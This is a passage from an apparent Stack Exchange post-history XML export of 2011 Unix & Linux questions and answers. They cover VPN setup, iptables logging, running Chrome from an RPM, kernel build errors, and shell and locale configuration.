there?:&#xD;&#xA;&#xD;&#xA;    find /usr/lib -iname &quot;*power*&quot;&#xD;&#xA;    /usr/lib/libupower-glib.so.1&#xD;&#xA;    /usr/lib/klibc/bin/poweroff&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.pyc&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.py&#xD;&#xA;    /usr/lib/upower&#xD;&#xA;    /usr/lib/upower/upowerd&#xD;&#xA;    /usr/lib/libupower-glib.so.1.0.1&#xD;&#xA;    /usr/lib/gnome-power-manager&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/core/xml-service-descriptions/SwitchPower1.xml&#xD;&#xA;    /usr/lib/pm-utils/power.d&#xD;&#xA;    /usr/lib/pm-utils/power.d/sched-powersave&#xD;&#xA;    /usr/lib/pm-utils/sleep.d/00powersave&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/libpower-manager.so&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/power-manager.rb-plugin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21157" PostHistoryTypeId="4" PostId="8827" RevisionGUID="fb7ee745-c817-4980-b7c4-a07676fac785" CreationDate="2011-03-09T13:13:13.987" UserId="4778" Comment="edited title" Text="hibernate to disk not restoring, but suspend to ram is working." />
  <row Id="21158" PostHistoryTypeId="2" PostId="8931" RevisionGUID="c898160b-b9dc-4b9a-aae8-e8b559981a8c" CreationDate="2011-03-09T13:17:58.333" UserId="5538" Text="I have Linux (Fedora) box and I want to conject to VPN described as &quot;L2TP IPsec VPN&quot; one. I have got following credentials:&#xD;&#xA;&#xD;&#xA;----------------&#xD;&#xA;user=xxxxxxxxx&#xD;&#xA;&#xD;&#xA;pass=xxxxxxxxx&#xD;&#xA;&#xD;&#xA;VPN server= XXX.XXX.XXX.XXX&#xD;&#xA;&#xD;&#xA;IPsec key=xxxxxxxxx&#xD;&#xA;&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;I tried to use NetworkManager, vpnc with no luck. What software to use?&#xD;&#xA;" />
  <row Id="21159" PostHistoryTypeId="1" PostId="8931" RevisionGUID="c898160b-b9dc-4b9a-aae8-e8b559981a8c" CreationDate="2011-03-09T13:17:58.333" UserId="5538" Text="L2TP IPsec VPN client configuration" />
  <row Id="21160" PostHistoryTypeId="3" PostId="8931" RevisionGUID="c898160b-b9dc-4b9a-aae8-e8b559981a8c" CreationDate="2011-03-09T13:17:58.333" UserId="5538" Text="élinuxàéconfigurationàévpnà" />
  <row Id="21161" PostHistoryTypeId="6" PostId="8862" RevisionGUID="8498f204-4d41-4c46-b428-00bf9452d8b0" CreationDate="2011-03-09T13:29:51.657" UserId="29" Comment="add gnome tag" Text="élinuxàégnomeàésecurityà" />
  <row Id="21164" PostHistoryTypeId="2" PostId="8932" RevisionGUID="43c08925-1592-4b77-8f98-f3fe65506328" CreationDate="2011-03-09T13:33:27.237" UserId="5133" Text="I was once trying to zero out a USB thumbdrive using `dd`.&#xD;&#xA;&#xD;&#xA;Needless to say, when tty1 started spitting out ReiserFS errors from my root partition, I had to reinstall..." />
  <row Id="21165" PostHistoryTypeId="6" PostId="4390" RevisionGUID="69853e44-728b-47c4-b572-ac7a48bd374c" CreationDate="2011-03-09T13:33:47.750" UserId="4319" Comment="Tagged a question about security. (&quot;sudo&quot; alone doesn't imply it's a security related Q, because it could be also just about command options or configuration or the like.)" Text="éubuntuàésecurityàésudoàépasswordà" />
  <row Id="21166" PostHistoryTypeId="24" PostId="4390" RevisionGUID="69853e44-728b-47c4-b572-ac7a48bd374c" CreationDate="2011-03-09T13:33:47.750" Comment="Proposed by 4319 approved by 29 edit id of 194" />
  <row Id="21167" PostHistoryTypeId="6" PostId="8869" RevisionGUID="33167a43-e3f2-41aa-bc18-72a710595cf7" CreationDate="2011-03-09T13:35:41.977" UserId="4319" Comment="Tagged a Debian question." Text="éshellàédebianàéusersà" />
  <row Id="21168" PostHistoryTypeId="24" PostId="8869" RevisionGUID="33167a43-e3f2-41aa-bc18-72a710595cf7" CreationDate="2011-03-09T13:35:41.977" Comment="Proposed by 4319 approved by 29 edit id of 193" />
  <row Id="21170" PostHistoryTypeId="2" PostId="8933" RevisionGUID="28af3e33-d6b0-4dec-b04b-15de2c3e8fef" CreationDate="2011-03-09T13:52:07.167" UserId="184" Text="I use ubuntu I want to know where is the log file of iptables?   &#xD;&#xA;I find `/var/log/messages` but I am not sure find correct log file or not.&#xD;&#xA;&#xD;&#xA;and also want to know when this log file is changed? I add 1 rule to prevent my machine to respond to ping message but when I ping my machine I didn't any changes to `/var/log/messages` " />
  <row Id="21171" PostHistoryTypeId="1" PostId="8933" RevisionGUID="28af3e33-d6b0-4dec-b04b-15de2c3e8fef" CreationDate="2011-03-09T13:52:07.167" UserId="184" Text="iptables log file" />
  <row Id="21172" PostHistoryTypeId="3" PostId="8933" RevisionGUID="28af3e33-d6b0-4dec-b04b-15de2c3e8fef" CreationDate="2011-03-09T13:52:07.167" UserId="184" Text="élogsàéiptablesà" />
  <row Id="21173" PostHistoryTypeId="2" PostId="8934" RevisionGUID="1cd83d02-9ef2-4746-bbb6-acb683996351" CreationDate="2011-03-09T14:01:15.820" UserId="3976" Text="I've successfully extracted the Fedora/OpenSUSE RPM into my home directory and ran chrome from there.  You simply need to make sure that the symlinks for the libraries are all there.  This assumes that the libraries area already installed, and $HOME/bin is in my $PATH.&#xD;&#xA;&#xD;&#xA;    I just ran:&#xD;&#xA;    mkdir ~/chrome; cd ~/chrome&#xD;&#xA;    rpm2cpio ~/Download/google-chrome-stable_current_x86_64.rpm | cpio -id&#xD;&#xA;    cd opt/google/chrome&#xD;&#xA;    ln -s /usr/lib64/libnss3.so libnss3.so.1d&#xD;&#xA;    ln -s /usr/lib64/libnssutil3.so libnssutil3.so.1d&#xD;&#xA;    ln -s /usr/lib64/libsmime3.so libsmime3.so.1d&#xD;&#xA;    ln -s /lib64/libplc4.so libplc4.so.0d&#xD;&#xA;    ln -s /lib64/libnspr4.so libnspr4.so.0d&#xD;&#xA;    ln -s /lib64/libbz2.so.1.0.6 libbz2.so.1.0&#xD;&#xA;    ln -s ~/chrome/opt/google/chrome/google-chrome ~/bin/google-chrome&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, if you don't have all those libraries installed already, or there are other dependencies for the chrome binary that are unmet, you might need to build and install them in your homedir.  Google Chrome helpfully adds ~/chrome/opt/google/chrome/lib to the $LD_LIBRARY_PATH, so you could install those additional dependencies there." />
  <row Id="21174" PostHistoryTypeId="2" PostId="8935" RevisionGUID="1080e59a-3636-4934-9c6b-d238c88208cf" CreationDate="2011-03-09T14:09:56.767" UserId="4724" Text="After i configured my Fedora 14 to do auto updates:&#xD;&#xA;&lt;br&gt;&#xD;&#xA;`gconftool-2 -t string -s /apps/gnome-packagekit/update-icon/auto_update all`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t integer -s /apps/gnome-packagekit/update-icon/frequency_get_updates 3600`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_available 0`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_complete 0`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_critical 0`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_update_complete_restart 0`&lt;br&gt;&#xD;&#xA;`gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_update_started 0`&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I get this funny message:&lt;br&gt;&#xD;&#xA;http://img851.imageshack.us/img851/2673/updatez.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Why do i have to log out/in because of the google-chrome-stable package has been updated?&lt;br&gt;" />
  <row Id="21175" PostHistoryTypeId="1" PostId="8935" RevisionGUID="1080e59a-3636-4934-9c6b-d238c88208cf" CreationDate="2011-03-09T14:09:56.767" UserId="4724" Text="log out/in because of google-chrome-stable package update?" />
  <row Id="21176" PostHistoryTypeId="3" PostId="8935" RevisionGUID="1080e59a-3636-4934-9c6b-d238c88208cf" CreationDate="2011-03-09T14:09:56.767" UserId="4724" Text="élinuxàéfedoraàéchromeà" />
  <row Id="21177" PostHistoryTypeId="2" PostId="8936" RevisionGUID="f5129e66-3e77-434c-a912-feec9892d2ce" CreationDate="2011-03-09T14:13:29.790" UserId="2511" Text="Because it can easily fill up your logs, the default is to not log. Add a jump to the LOG target, which will log to the kernel log (which you can see with `dmesg` or at wherever syslog is configured to write that for your distro). In your LOG-target rule, you can set `--log-level` and `--log-prefix` to help organize the messages and keep them separate from other kernel messages.&#xD;&#xA;&#xD;&#xA;LOG is a &quot;non-terminating target&quot;, so rule traversal will continue on to the next rule — you can basically add logging right above your existing rules without affecting them." />
  <row Id="21178" PostHistoryTypeId="2" PostId="8937" RevisionGUID="3ac9d7dc-7be2-4360-8b90-f70adb5fe30e" CreationDate="2011-03-09T14:13:31.123" UserId="3976" Text="IPTables doesn't log unless you add a rule to add a log entry.  This is typically done with the -j LOG destination.  The log entry is sent to the kernel log, and your syslog daemon determines where kernel log entries go, which seems to be /var/log/messages in your case.&#xD;&#xA;&#xD;&#xA;If you want to block pings from a certain host (a fictional 123.456.789.10 for example), and log all those packets, run:&#xD;&#xA;&#xD;&#xA;    iptables -A INPUT -p icmp --icmp-type 8 --source 123.456.789.10 -j LOG&#xD;&#xA;    iptables -A INPUT -p icmp --icmp-type 8 --source 123.456.789.10 -j DROP" />
  <row Id="21179" PostHistoryTypeId="2" PostId="8938" RevisionGUID="a9818ae9-163d-4528-a5e4-dc37aac13e37" CreationDate="2011-03-09T14:16:03.890" UserId="2511" Text="I agree that it's a funny message. You don't really have to log out and log in again, but you should make sure that the program and anything using any shared libraries are restarted.&#xD;&#xA;&#xD;&#xA;I think the message was just chosen because logging out and in again is the most simple way to make sure that happens for users who don't know what they're doing. (For some things, like system libraries, it'll tell you to reboot.)&#xD;&#xA;" />
  <row Id="21180" PostHistoryTypeId="5" PostId="8934" RevisionGUID="cda00d5e-dfdb-4d35-b32c-a73e19f39990" CreationDate="2011-03-09T14:19:05.537" UserId="3976" Comment="Put the &quot;I just ran&quot; outside of the command box" Text="I've successfully extracted the Fedora/OpenSUSE RPM into my home directory and ran chrome from there.  You simply need to make sure that the symlinks for the libraries are all there.  This assumes that the libraries area already installed, and $HOME/bin is in my $PATH.&#xD;&#xA;&#xD;&#xA;I just ran:&#xD;&#xA;&#xD;&#xA;    mkdir ~/chrome; cd ~/chrome&#xD;&#xA;    rpm2cpio ~/Download/google-chrome-stable_current_x86_64.rpm | cpio -id&#xD;&#xA;    cd opt/google/chrome&#xD;&#xA;    ln -s /usr/lib64/libnss3.so libnss3.so.1d&#xD;&#xA;    ln -s /usr/lib64/libnssutil3.so libnssutil3.so.1d&#xD;&#xA;    ln -s /usr/lib64/libsmime3.so libsmime3.so.1d&#xD;&#xA;    ln -s /lib64/libplc4.so libplc4.so.0d&#xD;&#xA;    ln -s /lib64/libnspr4.so libnspr4.so.0d&#xD;&#xA;    ln -s /lib64/libbz2.so.1.0.6 libbz2.so.1.0&#xD;&#xA;    ln -s ~/chrome/opt/google/chrome/google-chrome ~/bin/google-chrome&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, if you don't have all those libraries installed already, or there are other dependencies for the chrome binary that are unmet, you might need to build and install them in your homedir.  Google Chrome helpfully adds ~/chrome/opt/google/chrome/lib to the $LD_LIBRARY_PATH, so you could install those additional dependencies there." />
  <row Id="21181" PostHistoryTypeId="5" PostId="8935" RevisionGUID="a46773b2-4757-40cf-ac02-78cd621e1245" CreationDate="2011-03-09T14:19:56.100" UserId="3069" Comment="deleted 20 characters in body" Text="After i configured my Fedora 14 to do auto updates:&#xD;&#xA;&#xD;&#xA;    gconftool-2 -t string -s /apps/gnome-packagekit/update-icon/auto_update all&#xD;&#xA;    gconftool-2 -t integer -s /apps/gnome-packagekit/update-icon/frequency_get_updates 3600&#xD;&#xA;    gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_available 0&#xD;&#xA;    gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_complete 0&#xD;&#xA;    gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_critical 0&#xD;&#xA;    gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_update_complete_restart 0&#xD;&#xA;    gconftool-2 -t bool -s /apps/gnome-packagekit/update-icon/notify_update_started 0&#xD;&#xA;&#xD;&#xA;I get this funny [message][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why do i have to log out/in because of the google-chrome-stable package has been updated?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://img851.imageshack.us/img851/2673/updatez.png" />
  <row Id="21182" PostHistoryTypeId="25" PostId="8933" RevisionGUID="56e09c7a-29fe-4c65-a3aa-cb86815ea64c" CreationDate="2011-03-09T14:23:39.527" Comment="http://twitter.com/#!/StackUnix/status/45489931291865088" />
  <row Id="21183" PostHistoryTypeId="5" PostId="8930" RevisionGUID="04520aa5-6258-4378-a731-76ce68468ed9" CreationDate="2011-03-09T14:31:08.007" UserId="5168" Comment="Minor text change" Text="I am building Linux Kernel 2.6.36.4 on a Dell Laptop which has Linux Kernel 2.6.35.11 running.&#xD;&#xA;&#xD;&#xA;BTW I got the source from kernel.org.&#xD;&#xA;&#xD;&#xA;The source had few syntax errors which I fixed in the process and finished building Kernel.&#xD;&#xA;&#xD;&#xA;After reboot, I keep getting following error:&#xD;&#xA;&#xD;&#xA;&gt; RAMDISK: incomplete error(6022 !=&#xD;&#xA;&gt; 28860)  &#xD;&#xA;write error  &#xD;&#xA;Kernel Panic - not&#xD;&#xA;&gt; syncing: VFS: Unable to mount root fs&#xD;&#xA;&gt; on unknown-block(0, 0)  &#xD;&#xA;Pid: 1, comm: swapper Not tainted 2.6.36.4 #2  &#xD;&#xA;Call Trace:  &#xD;&#xA;? printk....  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I followed following steps while building the source: &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&gt;  1. tar xvf linux-2.6.36.4.tar.bz2 &#xD;&#xA;&gt;  2. sudo cp  /boot/config-2.6.35.11generic&#xD;&#xA;&gt; ~/linux-2.6.36.4/.config&#xD;&#xA;&gt;  3. cd ~/linux-2.6.36.4&#xD;&#xA;&gt;  4. make menuconfig&#xD;&#xA;&gt;  5. sudo make&#xD;&#xA;&gt;  6. sudo make modules_install&#xD;&#xA;&gt;  7. sudo make install&#xD;&#xA;&gt;  8. sudo update-initramfs -k  2.6.36.4 -c&#xD;&#xA;&gt;  9. sudo update-grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried following things after my internet search:&#xD;&#xA;&#xD;&#xA; - After reboot with working kernel, ran `sudo update-initramfs -u -k all`&#xD;&#xA; - Ran `fsck` &#xD;&#xA;&#xD;&#xA;However I still get this error for every attempt to boot using 2.6.36.4&#xD;&#xA;&#xD;&#xA;Has anybody come across such an issue and what do you suggest in this context?&#xD;&#xA;&#xD;&#xA;Thank you in advance!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="21184" PostHistoryTypeId="2" PostId="8939" RevisionGUID="f881ff25-551d-4737-a02b-a55795c5d89c" CreationDate="2011-03-09T14:35:48.080" UserId="4319" Text="Another trustworthy isolation solution (besides [a `seccomp`-based one](http://unix.stackexchange.com/questions/6433/how-to-run-a-process-with-restricted-file-permissions/8929#8929)) would be the complete syscall-interception through `ptrace`, as explained in the manpage for [`fakeroot-ng`](http://sourceforge.net/projects/fakerootng):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Unlike  previous  implementations,  fakeroot-ng  uses  a&#xD;&#xA;&gt; technology that leaves the&#xD;&#xA;&gt;        traced process no choice regarding whether it will use&#xD;&#xA;&gt; fakeroot-ng's &quot;services&quot;  or&#xD;&#xA;&gt;        not.  Compiling  a program statically, directly calling the&#xD;&#xA;&gt; kernel and manipulating&#xD;&#xA;&gt;        ones own address space are all techniques that can  be  trivially &#xD;&#xA;&gt; used  to  bypass&#xD;&#xA;&gt;        LD_PRELOAD  based  control  over a process, and do not apply to&#xD;&#xA;&gt; fakeroot-ng. It is,&#xD;&#xA;&gt;        theoretically, possible to mold fakeroot-ng in such a way as to have&#xD;&#xA;&gt; total  control&#xD;&#xA;&gt;        over the traced process.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While  it  is theoretically possible, it has not been done.&#xD;&#xA;&gt; Fakeroot-ng does assume&#xD;&#xA;&gt;        certain &quot;nicely behaved&quot; assumptions about the process being&#xD;&#xA;&gt; traced, and a  process&#xD;&#xA;&gt;        that  break  those  assumptions may be able to, if not totally escape&#xD;&#xA;&gt; then at least&#xD;&#xA;&gt;        circumvent some of the &quot;fake&quot; environment imposed on it by &#xD;&#xA;&gt; fakeroot-ng.  As  such,&#xD;&#xA;&gt;        you  are  strongly warned against using fakeroot-ng as a&#xD;&#xA;&gt; security tool. Bug reports&#xD;&#xA;&gt;        that claim that a process can deliberatly (as opposed to inadvertly)&#xD;&#xA;&gt; escape  fake‐&#xD;&#xA;&gt;        root-ng's control will either be closed as &quot;not a bug&quot; or marked as&#xD;&#xA;&gt; low priority.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It  is  possible  that  this policy be rethought in the future. For&#xD;&#xA;&gt; the time being,&#xD;&#xA;&gt;        however, you have been warned.&#xD;&#xA;&#xD;&#xA;Still, as you can read it, fakeroot-ng itself is not designed for this purpose.&#xD;&#xA;&#xD;&#xA;(BTW, I wonder why they have chosen to use the `seccomp`-based approach for Chromium rather than a `ptrace`-based...)" />
  <row Id="21185" PostHistoryTypeId="2" PostId="8940" RevisionGUID="8425647f-9f25-4397-a19d-09748ccf0087" CreationDate="2011-03-09T14:36:10.250" UserId="5545" Text="Among the many components of a Linux system, I find myself confused (as a newbie) about what exactly is the kernel or what is GNU's part. I understand some basic concepts of this, but where is the line between a shell and the Window Manager?" />
  <row Id="21186" PostHistoryTypeId="1" PostId="8940" RevisionGUID="8425647f-9f25-4397-a19d-09748ccf0087" CreationDate="2011-03-09T14:36:10.250" UserId="5545" Text="What are the kernel, the &quot;GNU tools and utilities&quot;, the shell and the Window Manager?" />
  <row Id="21187" PostHistoryTypeId="3" PostId="8940" RevisionGUID="8425647f-9f25-4397-a19d-09748ccf0087" CreationDate="2011-03-09T14:36:10.250" UserId="5545" Text="éshellàékernelàéwindowömanageràégnuà" />
  <row Id="21188" PostHistoryTypeId="2" PostId="8941" RevisionGUID="d216e540-ae29-4ede-8ae2-08ef625cbd62" CreationDate="2011-03-09T15:12:49.193" UserId="2180" Text="#Kernel&#xD;&#xA;The kernel manages resources. Resources include processor time, memory, and peripherals. It does this by directly communicating with the resources and exposing an interface to userspace.&#xD;&#xA;&#xD;&#xA;#Userspace Tools (sometimes includes GNU tools and utilities)&#xD;&#xA;The Userspace Tools include basic utilities like ls, cat, dd, ln, mount, etc. They allow a user to work with resources that the kernel provides. Linux (as opposed to BSD, OSX, and other Unices) is the primary user of the GNU tools, but not even all Linux systems use these; an alternate set of tools for Linux is provided by Busybox.&#xD;&#xA;&#xD;&#xA;#Shell&#xD;&#xA;The shell provides the environment that allows the user to use the Userspace Tools. Example shells include bash, ksn, zsh, and fish. They typically provide a prompt at which the user can enter commands that launch the userspace tools.&#xD;&#xA;&#xD;&#xA;#Window Manager&#xD;&#xA;This is a much higher layer, there usually exists a display server, which is responsible for managing graphical, audio, and I/O resources, and providing an interface to higher-level tools. Usually, a display manager is the layer above the display server and can provide things like user login management, and session management. Above that is typically a window manager. The window manager provides regions in which applications can render their content, it also allows the user to interact with these regions by moving, resizing, and reordering them." />
  <row Id="21189" PostHistoryTypeId="2" PostId="8942" RevisionGUID="f74ddb22-a659-4580-b1c2-d01676b75bcb" CreationDate="2011-03-09T15:15:47.153" UserId="3976" Text="If you're using 'bash' as your shell, that's a GNU utility.  The 'coreutils' package on your system contains GNU software, things like `mv`, `ls`, `rm`, etc.&#xD;&#xA;&#xD;&#xA;The Kernel is not something you interact with directly, but through other software on your system.  To be very general in definition, a kernel is provides a means for software to interact with the hardware on your system, by reading in your key presses and mouse movement, reading and writing data to your disks, and scheduling and performing the computation from software running on your computer. There are a lot of details I'm ignoring/glossing over, you might benefit from reading the [Kernel Wikipedia page][1].&#xD;&#xA;&#xD;&#xA;Your window manager is most likely not GNU software, but from other software projects (Gnome, KDE, XFCE, etc).  However, they all rely on GNU software to run, using the GNU C Library (glibc) and the GNU Compiler collection (gcc) for example.  Also, much of the software on your system is licensed with the GNU General Public License, or the GPL, so you're benefiting from GNU's license.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Kernel_%28computing%29" />
  <row Id="21190" PostHistoryTypeId="6" PostId="5535" RevisionGUID="379b165d-46d6-43c1-98c3-c93aa1bc2648" CreationDate="2011-03-09T15:23:27.860" UserId="4319" Comment="Tag a question about non-root operations." Text="épackageömanagementàéyumàérootàénotörootöuserà" />
  <row Id="21191" PostHistoryTypeId="24" PostId="5535" RevisionGUID="379b165d-46d6-43c1-98c3-c93aa1bc2648" CreationDate="2011-03-09T15:23:27.860" Comment="Proposed by 4319 approved by 73 edit id of 190" />
  <row Id="21192" PostHistoryTypeId="6" PostId="6689" RevisionGUID="782f7e90-054a-4685-ad5f-1c03259fd0fa" CreationDate="2011-03-09T15:23:30.743" UserId="4319" Comment="Tag a question about non-root operations." Text="élinuxàéfedoraàépartitionàépolicykitàénotörootöuserà" />
  <row Id="21193" PostHistoryTypeId="24" PostId="6689" RevisionGUID="782f7e90-054a-4685-ad5f-1c03259fd0fa" CreationDate="2011-03-09T15:23:30.743" Comment="Proposed by 4319 approved by 73 edit id of 191" />
  <row Id="21194" PostHistoryTypeId="6" PostId="1811" RevisionGUID="fcb78c4e-6aa8-4362-8e89-3aabc951ca52" CreationDate="2011-03-09T15:23:34.207" UserId="4319" Comment="Tag a question about non-root operations." Text="élinuxàémountàéchrootàénotörootöuserà" />
  <row Id="21195" PostHistoryTypeId="24" PostId="1811" RevisionGUID="fcb78c4e-6aa8-4362-8e89-3aabc951ca52" CreationDate="2011-03-09T15:23:34.207" Comment="Proposed by 4319 approved by 73 edit id of 192" />
  <row Id="21196" PostHistoryTypeId="2" PostId="8943" RevisionGUID="44db3dd4-04a3-4047-bbcd-0246beba8a20" CreationDate="2011-03-09T15:23:37.720" UserId="3976" Text="PackageKit has the ability to notify when an Application, Session or the System needs to be restarted.  For some reason, the Google Chrome package is causing PackageKit to notify you that your login session needs to be restarted.  I think that the way PackageKit manages this kind of thing is a worst-case scenario, so it assumes that the whole session needs to be restarted, not just the application.  It might be worth submitting a bug report to Google about it." />
  <row Id="21197" PostHistoryTypeId="2" PostId="8944" RevisionGUID="c43d685c-3d57-4217-94e6-a71d86fadcbd" CreationDate="2011-03-09T15:35:43.780" UserId="5550" Text="Linux and *NIX systems make use of various caches which sit between the filesystems (abstracted through VFS) and the user level processes. So it's not grep and it's not the filesystem doing the caching - it's the operating system.&#xD;&#xA;&#xD;&#xA;The cache which is responsible for your grep performance is the VFS Buffer Cache. Other caches are for inodes and directories but those wouldn't come into play here.&#xD;&#xA;&#xD;&#xA;For more info see: Linux Documentation Project: 9.2 The Virtual File System [http://tldp.org/LDP/tlk/fs/filesystem.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/tlk/fs/filesystem.html" />
  <row Id="21198" PostHistoryTypeId="5" PostId="8859" RevisionGUID="ade04ed6-ea3a-4e32-82e7-607286baf840" CreationDate="2011-03-09T15:49:21.240" UserId="5039" Comment="added details" Text="I am on an Ubuntu (I think) system. I **don't** have root, so I can't change the locale. I want to make my default terminal profile use UTF-8 by default. There should be a way to do this, either in the `.gconf/apps/gnome-terminal/` directory somewhere, or in a environment variable, or something. However, I can't seem to find it.&#xD;&#xA;&#xD;&#xA;Edit with more details:&#xD;&#xA;&#xD;&#xA;In a terminal, I have:&#xD;&#xA;&#xD;&#xA;    grid-unv55$ locale&#xD;&#xA;    LANG=en_US.UTF-8&#xD;&#xA;    LC_CTYPE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;    grid-unv55$ gnome-terminal&#xD;&#xA;&#xD;&#xA;When try to more a UTF document in that new terminal, I get: &#xD;&#xA;&#xD;&#xA;    \ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd&#xD;&#xA;    \noise:bgspeech \ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd&#xD;&#xA;&#xD;&#xA;Which appears on my screen as dots.  (the uffds were a cut and paste. I left the &quot;\noise:bgspeech&quot; in there so you could see that ascii cut and pasted correctly)&#xD;&#xA;" />
  <row Id="21199" PostHistoryTypeId="2" PostId="8945" RevisionGUID="476da8ac-de79-4302-926c-14685dd82099" CreationDate="2011-03-09T16:03:20.747" UserId="5554" Text="How can I increase open files limit for all processes?  I can use ulimit but I think that only affects my shell session.  I want the limit increased for all preocesses.  This is on Red Hat." />
  <row Id="21200" PostHistoryTypeId="1" PostId="8945" RevisionGUID="476da8ac-de79-4302-926c-14685dd82099" CreationDate="2011-03-09T16:03:20.747" UserId="5554" Text="How can I increase open files limit for all processes?" />
  <row Id="21201" PostHistoryTypeId="3" PostId="8945" RevisionGUID="476da8ac-de79-4302-926c-14685dd82099" CreationDate="2011-03-09T16:03:20.747" UserId="5554" Text="érhelà" />
  <row Id="21202" PostHistoryTypeId="5" PostId="8860" RevisionGUID="56988ceb-bd7a-45e0-a119-73a44765f6f6" CreationDate="2011-03-09T16:18:21.020" UserId="2511" Comment="added 655 characters in body" Text="I believe that gnome-terminal will Just Work with UTF-8 is enabled in the shell, so all you need to do is enable _that_. Put&#xD;&#xA;&#xD;&#xA;    export LANG=en_US.UTF-8&#xD;&#xA;&#xD;&#xA;in `~/.bashrc` and there you go.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Okay, so, the answer is [currently you can't set this][1]. Gnome Terminal follows the current environment's LANG setting and uses the encoding for that as the default. So you need to get LANG to contain UTF-8 _before_ gnome-terminal is launched. Setting this in `~/.bashrc` should do it — you'll just need to log out and log in again.&#xD;&#xA;&#xD;&#xA;(Note that it's actually better to put this in `~/.bash_profile` so you can override it for subshells, but I'm not sure that bash is necessarily run as a login shell as part of setting up the Gnome environment. That's worth testing....)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.gnome.org/show_bug.cgi?id=108711" />
  <row Id="21203" PostHistoryTypeId="2" PostId="8946" RevisionGUID="2a1e1a37-fbe8-4746-ba58-a7a2035e6129" CreationDate="2011-03-09T16:57:13.907" UserId="5551" Text="It would be more proper to say Flash Memory has only a limited number of erase cycles, these caused eventually by writes. There are many good articles available about this distinction.&#xD;&#xA;&#xD;&#xA;When you mention burning a Linux image into router firmware, that is probably NOR flash or an EEProm. NOR is the type of flash with quicker reads, NAND the type with quicker writes.&#xD;&#xA;&#xD;&#xA;Under ext3, the journal is the most frequently written file, and those writes will eventually fill a block, forcing the erase of another block. Setting a larger `commit=` value on mount would gather these journal writes into larger chunks.&#xD;&#xA;&#xD;&#xA;Finally, to echo other solutions, mounting with `noatime` is a standard practice that will reduce impact.&#xD;&#xA;&#xD;&#xA;" />
